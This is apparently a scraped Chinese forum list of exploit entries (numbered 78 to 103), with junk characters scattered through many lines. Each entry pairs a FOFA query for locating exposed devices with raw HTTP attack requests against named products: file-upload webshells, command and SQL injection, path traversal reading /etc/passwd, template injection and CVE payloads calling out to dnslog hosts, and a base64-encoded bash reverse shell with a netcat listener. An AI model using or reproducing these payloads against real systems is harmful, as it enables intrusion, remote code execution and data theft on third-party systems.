4 h* A7 T# q& N, T) j- R
Submit Query
9 a7 U% i, }( O1 O& f) ]8 T------------398jnjVTTlDVXHlE7yYnfwBoix--
5 l8 [2 h; Q2 y6 B5 A
: }! y/ A$ F7 v' G- E' M7 W
' x( n1 e" n) t78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
' z7 p2 O# |) e8 o: u3 e9 l* nPOST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
( t3 U3 ~' [+ l* mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
% v* `) l+ s9 xContent-Length: 336
Accept-Encoding: gzip
, q) I7 O; [, g& y# {, G3 Y: {, n: ^Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

: ~- }  _/ n7 J7 W------YsOxWxSvj1KyZow1PTsh98fdu6l
) O' R* d" q; p0 F% ^* T- P2 f2 d9 pContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
7 B0 m! q2 k) ~7 xContent-Type: image/png

YsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
$ c  ^) E8 M' ?6 t! _9 uContent-Disposition: form-data; name="target"
/ c) O) o4 J$ ]: M* [8 h; V" Y/ B
5 v0 J8 a0 L+ Y6 l! f/Applications/SkillDevelopAndEHS/
& Y$ F! n# x9 P& Q------YsOxWxSvj1KyZow1PTsh98fdu6l--
6 _; W  z1 f* F5 @1 @( y

7 N8 l+ S5 R. @& {GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
3 v8 p/ r4 z. L7 r4 [Host: x.x.x.x


" m" q+ b0 F5 V& k/ M3 t79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
# n7 j4 a4 z  _1 \' @0 x) sGET /goform/webRead/open/?path=|id HTTP/1.1
' ?: ^0 w, Z3 ]$ J' [Host:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 J/ x$ U3 s9 Y$ K6 i8 ~5 ^Accept-Encoding: gzip, deflate
) G" a* v0 K) |9 ~Connection: close
  W  E+ r& ?+ k  L& F4 a0 OUpgrade-Insecure-Requests: 1

6 ~3 d4 {3 V9 K# C( h
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
. I1 [0 ~3 o8 M: C' HHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 W; Y& \' R" }% E7 ~Accept-Encoding: gzip, deflate
; P$ A& a( T1 |( R) v" B' wAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
* n! o0 j5 [- ^5 lContent-Type: application/octet-stream
Upgrade-Insecure-Requests: 1

' D" O. ]/ G/ s/ Z<% out.print("oessqeonylzaf");%>
  h5 P( e! x  g7 U# K5 B! o
  n+ K3 Y- \, S% s6 ]" \
+ s5 c) a! R/ I3 K0 R" eGET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
: E0 ]. ]1 B: W0 h0 M5 b, lUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
2 w$ w; x: ~" H' N) B6 _

81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
8 r; o! D5 {! i" }7 l, }3 D1 zFOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

% C& ~- p! r) q; K6 N: ~
  x0 _+ a* l; |' E. M- K& e1 ?82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
) a" O( \+ b% a5 qFOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
1 x3 W2 J& c+ L/ bHost: BaseURL
# k# q6 F( i' x- AUser-Agent: Go-http-client/1.1
Content-Length: 23
1 k% E- C9 u- I: s$ Y& y% ZAccept-Encoding: gzip
# Q  s: u7 y/ }3 e: TConnection: close
8 ]$ V# d; t) ?# MContent-Type: application/x-www-form-urlencoded
Referer: BaseURL
! d8 `; X8 z' l/ ^/ Z" T6 F
z1=1&z2="|id;"&z3=bhost


. _! t0 T# e" i' Z% L; g3 r$ g* \/ b2 O83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"
7 o. t% h% l* M- y- _

' Q) W0 i9 N6 J: iPOST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
* Q8 [# N/ D7 }User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
) f- |" l. L+ M$ gConnection: close
Content-Length: 8881
8 |, q4 }: g  s( CAccept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
4 V) G+ }3 Y& F1 E4 oContent-Type: application/json

/ C) J/ e% }" a4 s3 kPAYLOAD
- e' P6 C2 {& o6 I3 ~6 f5 n
. S* j/ t  W  A: l4 L, W84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
6 V5 B9 ^8 ^, O' s; M, n, S' b( e2 v0 {FOFA：title=="JeecgBoot 企业级低代码平台"



POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
1 y/ T; S5 J3 l: H1 ^  WHost: 192.168.40.130:8080
User-Agent: curl/7.88.1
6 B0 Z# |, u  L' g/ z/ [Content-Length: 156
( N8 {" V9 s0 c  DAccept: */*
6 T2 d. [8 ~4 H0 F7 V8 |$ VConnection: close
% b5 n% |* v* z' Z1 G( O& y& XContent-Type: application/json
: L9 ?9 Q, S* aAccept-Encoding: gzip
: c" Q5 s5 n$ N/ x$ j1 U
{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
$ o: P9 T; P4 o3 d0 ^  "type": "0"
}
6 L- Z  \6 i/ }+ |$ `/ \
5 M+ B' }! [/ R3 [, t  o$ [
" ~" _  u  f; O' Q( K, B* `85. SysAid On-premise< 23.3.36远程代码执行
+ K$ }3 X) v6 P, e) m- e; i$ n- }CVE-2023-47246
" a4 F; y' ^! h: g" W  f& t0 f' jFOFA：body="sysaid-logo-dark-green.png"
! e; H: q4 o, Q8 B, B+ YEXP数据包如下，注入哥斯拉马
+ X1 z; X* E9 z; N" e- E$ KPOST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
. k! u! B! @' q5 h) X% a! oUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
" }: W) t8 p4 W1 r" ?' X; rContent-Type: application/octet-stream
2 @. r2 L& T% b6 N! B" O" [3 tAccept-Encoding: gzip
2 G* }! N' i+ q2 t3 |
PAYLOAD
# }$ H" ]; D. r( z5 h3 a
  \+ d' |6 E1 }; ~5 @回显URL：http://x.x.x.x/userfiles/index.jsp
. i" H. ?: O! a& n& e; N5 q; J
" l" A0 P* j& P9 {7 f; F* Y8 a) U86. 日本tosei自助洗衣机RCE
' T; U0 C% z, zFOFA：body="tosei_login_check.php"
; v' e6 u; J1 D/ w$ G' O( X, R" RPOST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
  J  M4 @9 S$ Y  Y  @. xUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
; P* I8 B5 [% {- ]! UConnection: close
Content-Length: 44
Accept: */*
% D, B6 g% |" x" P/ Z% `6 lAccept-Encoding: gzip
/ w! L7 p" O/ n' A6 r) pAccept-Language: en
Content-Type: application/x-www-form-urlencoded

host=%0acat${IFS}/etc/passwd%0a&command=ping
0 _5 l0 i* m( l) D

" X; G9 G% O& g0 q% N4 P$ [0 ~  Z9 d87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
! \- I% y; U0 r; o! CPOST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
6 k. K0 H8 l( [) e$ qHost: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
2 c& ^8 n) d8 r/ ]. {$ Q" G' x; lConnection: close
Content-Length: 198
$ w+ ^: {; _" T4 i8 rAccept-Encoding: gzip
2 B8 w  R( s9 b6 v' _9 CContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
; E6 E; `, u; p% I
--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
1 q/ E+ j  S" HContent-Type: text/plain

2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--

& h$ b% H5 f. _2 S; x; \3 W% U
3 P2 c$ F9 D! \/ g8 \0 v  G/jfhatuwe.php
) ~) J7 k% \4 n9 b( B
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
: l# Y3 k# \& t0 A5 Y2 i6 T" PFOFA：title="明御安全网关"
) z0 h  t: B5 t9 j/ {GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
* Z. ~: t2 i% P/ G8 s; NUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ @5 G4 f9 W, J3 ]4 NAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
) W9 H7 W' z$ c6 `/ o1 r

/astdfkhl.php
+ S. w" u: _) m; E' S
89. 致远互联FE协作办公平台editflow_manager存在sql注入
9 V( S% U. Z  Z/ XFOFA：title="FE协作办公平台" || body="li_plugins_download"
  C) L/ |8 W' ?' oPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
5 U/ H  N+ {3 S+ [5 K& bConnection: close
% ]% M$ K* R5 U: z* hContent-Length: 41
4 y6 H0 |6 a; j( p% A  I" R0 MContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
8 O! G" z3 B+ g7 R4 B
option=2&GUID=-1'+union+select+111*222--+


- z3 p1 \1 b- F4 x( c90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
% I* Q; P  M4 @3 O  p0 rFOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
6 G/ U+ ?0 ?0 l+ M0 w" l4 zHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
# t$ ?" ^; ~' I# y3 }Accept-Encoding: gzip, deflate
' P6 ~" D! P6 H. q) }Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. l1 r5 s$ X# L" c( D7 ^4 }Connection: close
( I( {1 ^8 {7 G8 h8 AContent-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
& |& Z; _! V: N+ U
jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
2 N+ ^3 U- s! _3 C2 T1 o
: [5 Z8 W9 d# L4 ^) m7 j
' C/ e! ?1 i9 m91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
: O. @; d0 y. U( ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
: g( |- \) Y8 Q6 I5 b+ IConnection: keep-alive



92. 海康威视运行管理中心session命令执行
9 l4 M) U% A) s% X6 T/ nFastjson命令执行
  u" D5 s- @+ i* Ohunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
Host:
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
  L* x. q. b) F" P' uX-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
, S" k# w" U4 v2 M. `) s" YX-Language-Type: zh_CN
Testcmd: echo test
6 ~, b& k) ?: F# g) zUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
, d( A7 r' O2 n: p1 |" ]* |- TAccept-Language: zh-CN,zh;q=0.9
Content-Length: 5778

+ h  D2 B! x  Q( i! z, t$ q, ~3 c, kPAYLOAD
7 c5 H  R, b! `
0 h2 ?1 [( R- h$ t/ r
: M' M& H% p9 {; N& V93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
. C- T- E1 v$ JFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
. G/ g- u: J" w( A4 jPOST /?g=app_av_import_save HTTP/1.1
+ h) @$ J+ F% O9 SHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

------WebKitFormBoundarykcbkgdfx
" s, Y3 A* ^7 H8 m7 V- l1 B( M7 X  cContent-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
------WebKitFormBoundarykcbkgdfx
* \5 N7 m7 H) E0 YContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
" x  ~: C/ \' ?2 u! i5 fContent-Type: text/plain
) Y: r1 e2 Z7 [
: x9 r; d9 Z. r. w% C4 C: W5 o2 awagletqrkwrddkthtulxsqrphulnknxa
5 A/ f2 B  J/ X& h' B+ K! w' `------WebKitFormBoundarykcbkgdfx
  `) m8 u3 D8 |8 yContent-Disposition: form-data; name="submit_post"

- e  T+ i' O* ~3 p( ?. e- gobj_app_upfile
( t* O/ Q5 L2 Q8 d1 l------WebKitFormBoundarykcbkgdfx
, m+ w) ]; ~7 W3 f1 LContent-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
9 f6 O2 H2 _8 X. W( [' @------WebKitFormBoundarykcbkgdfx--


GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
3 c, u" W0 |5 b) I+ J3 I% UUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

( T7 d, I# C! @- Q3 j
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
( y, I( {& n* y0 Z8 R$ a' HPOST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
- k' ^4 J- P' {# y
------WebKitFormBoundarybqvzqvmt
5 X& s; L/ z  _! P, \Content-Disposition: form-data; name="MAX_FILE_SIZE"

4 Y0 h! T- h+ P9 X! K# a: L10000000
------WebKitFormBoundarybqvzqvmt
6 b( X* S5 I% b' I" c$ U. O- nContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain

pxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
. _( P  @+ e2 QContent-Disposition: form-data; name="submit_post"
/ K' V0 M7 m+ Q" G( w! _' v
. [$ Y6 C9 Z3 p* g* ]obj_app_upfile
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"
% T. R( b- F3 C" p* _+ H* j" w) G( j
' F, R+ b2 K" Q! l4 O6 U0b9d6b1ab7479ab69d9f71b05e0e9445
) F/ I4 ^3 b- ?1 B7 }------WebKitFormBoundarybqvzqvmt--

% I+ A, a3 }% N, z- m' e

+ E( j2 B- M3 K; NGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
$ |: @" E8 E- k/ `( R- M4 Q$ qUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
# {6 i5 l7 ]& M2 z
; W! T0 D3 I1 g1 H
! B+ b  j2 o. k
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
/ `' n( V. g* W9 }CVE-2023-49070
- E+ N3 k1 w  CFOFA：app="Apache_OFBiz"
0 M1 t; H3 b* {% |( yPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
8 }& ]# C+ s  v) D. q; O3 L7 \Connection: close
& R, L) P# A. A2 y5 tContent-Length: 889
  o* j: H9 E0 l  c) c" XContent-Type: application/xml
Accept-Encoding: gzip
5 B+ J1 R  f; C$ g
% M5 I1 c% e, }% s1 E+ Q% ]<?xml version="1.0"?>
<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
      <param>
      <value>
9 w7 |* N5 s: \7 {# ]        <struct>
       <member>
4 `; {+ h3 i2 s* P          <name>test</name>
          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
2 Q' K( ~* T& P+ T; E        </member>
8 [9 X! p! E5 e6 E( D      </struct>
; B' G' G! m9 w" `4 f% s      </value>
! ~& B5 n8 F5 t8 E) B    </param>
    </params>
) t6 R! ~9 I, M& n  ?1 p$ _</methodCall>

5 {2 c* D" `  U$ Y9 {& e
9 ]9 }+ o* r: G! I用ysoserial生成payload
6 p$ P. K: C! r8 Qjava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
  H! @0 w& ^' o0 B# d" e. `+ c
6 {" G- _6 C; l" n; S
5 ?6 P& J% ?2 w+ W: H将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
' R* [  g" k0 Q) c! T( @9 P, tConnection: close
Content-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip
& o# ]& S) Q( x& V: a
, y, |: _% ?% T3 ~& k* ^PAYLOAD

5 X0 a/ [% W5 I$ @  B; g96. Apache OFBiz  18.12.11 groovy 远程代码执行
! _: a4 `$ r; n6 n: U( X, IFOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
% Y3 {5 ~2 D5 m8 |' ?Host: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
9 W. A& [- F; s6 s* m6 k+ H+ MAccept: */*
4 y) M  g, w$ s4 @1 y( R  P  Y1 t6 mAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; c9 h+ S  S2 i, a6 ]7 VContent-Type: application/x-www-form-urlencoded
6 Y& f4 F! n- l/ \$ u- vContent-Length: 55
' U: @; P: L; M# K" {
, u9 Y: x( R* N" |" H; zgroovyProgram=throw+new+Exception('id'.execute().text);


反弹shell
, `( k( S" T" S$ ~在kali上启动一个监听
8 ^; L' q6 N2 h4 M/ d' Anc -lvp 7777

POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
0 i$ ]% q! P% w" @0 vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; Z3 r! o  p. wContent-Type: application/x-www-form-urlencoded
6 f* [6 P6 Z  u3 b" u- {( d4 [" p( DContent-Length: 71
( z$ F+ C3 I$ X& J
groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

, w1 u" e1 H- k97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
9 b9 q' a! e, p8 z# aFOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
2 j5 N4 T0 s  HGET /passport/login/ HTTP/1.1
8 N! `  L! e9 Q, n2 BHost: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
. s& H. \- L* l& h4 m- WAccept-Encoding: gzip
" U6 w) p( h; ~: W+ \Connection: close
Cookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
( X( k" C) y& f8 h
! z( v2 B6 n! G: z7 H
9 U# \! k) ?! I+ x' A5 x# }98. SpiderFlow爬虫平台远程命令执行
1 U: _1 m+ G# ?- H5 W8 ^+ j, ?CVE-2024-0195
- p$ {3 B" X. Y3 }6 TFOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
/ m2 g3 ~5 w, ]8 f- K+ bHost: 192.168.40.130:8088
: j) v: Y4 [) _: aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
3 F! V9 K  q% m& J  D8 o# @7 K9 IConnection: close
) J) w+ z$ ~2 |6 t: D* wContent-Length: 121
Accept: */*
& D* o3 X& x% K/ PAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

  _7 A* h2 y) A; o+ F; Yid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
* o5 P+ C2 N, U/ \7 L
  V$ f! i- r: }* Q4 y" T
99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
6 P# j' L# g: v; I( e4 \$ ]7 [FOFA：app="Ncast-产品" && title=="高清智能录播系统"
( F3 I/ J7 Z/ f7 R2 @POST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
+ l8 L$ E/ z: Q& kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
3 H- T& E  E  e5 i7 q8 _8 R2 RConnection: close
4 ~/ V3 G/ N( i4 U9 v5 KContent-Length: 154
Accept: */*
Accept-Encoding: gzip, deflate
6 H$ h, D2 }# v6 H( ~Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
! g7 U! ~8 j, L& lX-Requested-With: XMLHttpRequest
- Y% U! w5 e" p! W# k$ x
) J- X+ X1 d" f1 k) y%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D


100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
FOFA：icon_hash="874152924"
6 U* ~! w& P# n) BPOST /api/file/formimage HTTP/1.1
$ R/ W( x7 S9 p5 J2 `Host: 192.168.40.130
+ O1 B9 f" W* dUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 201
- u/ e( k8 s8 h: ?8 H2 Q' FContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
0 P/ n( e0 x( D& e0 RAccept-Encoding: gzip
( j% U3 k# \4 c. w8 i6 t( S+ \. n
------WebKitFormBoundarygcflwtei
) o) S6 g$ n" S9 a+ Z' c  E1 ^Content-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php
' A+ V; f9 f. S# k; X' W' R
% {4 C! H% j2 V& D8 r/ P# j( l2ayyhRXiAsKXL8olvF5s4qqyI2O
7 n7 E7 `* M' S' E2 f' H------WebKitFormBoundarygcflwtei--
' |2 U( _0 Q9 I2 K
! R5 z7 i8 ?7 e* C; u  ]
101. ivanti policy secure-22.6命令注入
4 V3 \( ]# b# x/ \/ e8 P! B" DCVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
! a0 R( @" q$ H$ B+ I3 kConnection: close
Accept-Encoding: gzip

2 Z0 F) e6 B( S- X
7 x4 U, K- y) Y102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
$ Y, ^' T5 B/ `2 v$ j4 ~CVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
- O- U8 w3 X% X% r# W! m7 OPOST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
8 P7 N3 f. U/ tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
# T1 i( `' a. b+ q7 {Accept-Encoding: gzip
  s* [, }- I- b$ P% i
<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

" @8 ~( G3 K) K+ A$ l4 E103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
/ ]0 \8 ^( L; u$ U% }  L% aUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
3 H, S+ Q; }# ~7 gConnection: close
/ T1 u% {* f! S/ pContent-Length: 204
Content-Type: application/x-www-form-urlencoded
